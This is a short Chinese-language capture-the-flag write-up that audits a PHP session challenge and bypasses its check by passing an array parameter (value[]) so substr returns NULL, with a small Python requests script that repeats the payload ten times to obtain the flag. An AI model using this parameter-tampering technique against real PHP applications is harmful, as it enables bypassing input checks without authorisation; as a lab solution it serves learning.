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打开连接，是一段PHP代码，审计一下

session是http协议的会话功能，保持网站的记忆，注意到第二个if，当会话开始的时候，持续到两分钟就会结束
会话，重新开始session，而通过get传参传对值的话，网站就会输出下一个value的值，一直反复，在十分钟内
浏览十次就会输出flag了，而substr函数只要目标是数组就会默认返回NULL

先构造payload，使value[] = ea，输出下一个value值
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这里输出了nt，所以再来让value[]=nt



继续让value[]=dg



让value[]=oj ， 一直这样两分钟内进行十次传参就能拿到flag了

也可以通过写个Python脚本更快地拿到flag

import requests

URL = input("请输入靶场链接：")

s = requests.session()

x = "ea"

for i in range(10) :
    print(x)
    payload = "?value[]="+x
    n = s.get(URL+payload)
    x = n.text[0:2]

print(n.text)

运行结果



一样拿到flag
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